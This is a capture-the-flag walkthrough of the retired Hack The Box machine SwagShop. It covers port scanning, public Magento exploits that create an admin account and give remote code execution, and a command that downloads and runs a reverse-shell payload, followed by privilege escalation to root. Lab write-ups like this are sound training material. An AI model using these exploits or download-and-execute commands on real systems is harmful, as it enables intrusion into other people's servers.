SwagShop is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=700

Starting masscan 1.0.4 ( at 2019-05-14 01:30:31 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on                                    
Discovered open port 80/tcp on

Nothing unusual. Let’s do one better with nmap scanning the discovered ports to establish the services.

# nmap -n -v -Pn -p22,80 -A --reason -oN nmap.txt

The http service appears to be running an old version of Magento Community Edition (2014? Hello, it’s 2019!). Sometimes it pays to look at the copyright notice down at the footer. Here’s how it looks like.

Scroll down.

Magento Community Edition

How do I know the version? Check out the release notes basically. The directory structure is also found in a GitHub repository mirror for older versions.

Magento Shoplift Vulnerability

This particular version is susceptible to the Magento Shoplift vulnerability discovered by Checkpoint in 2015.

Well, there’s a readily available exploit, EDB-ID 37977 for it. Running this exploit will grant access to the Admin Panel with credentials (forme:forme).

Magento CE < - (Authenticated) Remote Code Execution

This next exploit, EDB-ID 37811 will allow us to execute remote commands. There are just two minor modifications to the exploit script.

We got the credentials from the previous exploit. The installation date can be obtained from as suggested.

One last thing we need to know is the URL to the Admin Panel, which is You can get a feel of the directory structure by navigating the site a bit, provided it doesn’t give you 503s :laugh:

Low-Privilege Shell

I generate a reverse shell with msfvenom, host it with Python’s SimpleHTTPServer, and also set up a nc listener. We then execute the exploit like so.

# python "wget -O/tmp/rev; chmod +x /tmp/rev; /tmp/rev"

It’s customary to display /etc/passwd.

The file user.txt is in haris’s home directory and it can be disappointingly read by all.

Privilege Escalation

Notice the .sudo_as_admin_successful?

This means that haris is able to sudo to a certain extent.

There you go, classic escape to root shell.

With that, getting root.txt is a breeze.



What a neat idea to promote the SwagShop!
